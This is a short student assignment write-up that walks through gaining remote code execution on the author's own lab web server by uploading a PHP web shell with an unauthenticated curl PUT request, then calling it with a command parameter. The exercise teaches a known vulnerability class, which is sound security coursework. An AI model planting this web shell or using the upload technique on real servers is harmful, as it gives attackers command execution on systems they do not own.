Simon Buchheit - Assignment 5

This document will outline how to reproduce the steps for gaining remote code execution (RCE) on my web server.

Preconditions

The following need to be completed before continuing:

- Ensure the web server is built and running (see *README.md*)
- Ensure the web server is working by navigating to `/index.html`

The Exploit

The following steps outline how to achieve RCE on my web server through an arbitrary file upload via the *PUT* method, combined with *PHP*.

First we need to create our own *PHP* file. Luckily, the web server will happily allow us to create a new resource via its *PUT* method.

```
curl -X PUT -d "<?php echo(shell_exec(\$_GET['cmd'])); ?>"
localhost:9999/shell.php
```

The above `curl` command will write the *PHP* script to the file `shell.php` in the root directory of the web server. The server does not require any authentication for this to happen. **NOTE:** change `localhost:9999` to wherever you have the web server running.

Next we can check to see if our `PUT` worked. The *PHP* code that we wrote to our `shell.php` file is looking for the `cmd` parameter sent in a `GET` request.

```
curl "localhost:9999/shell.php?cmd=ls"
```

Success! We are now able to run commands on the web server!

Enjoy your new shell!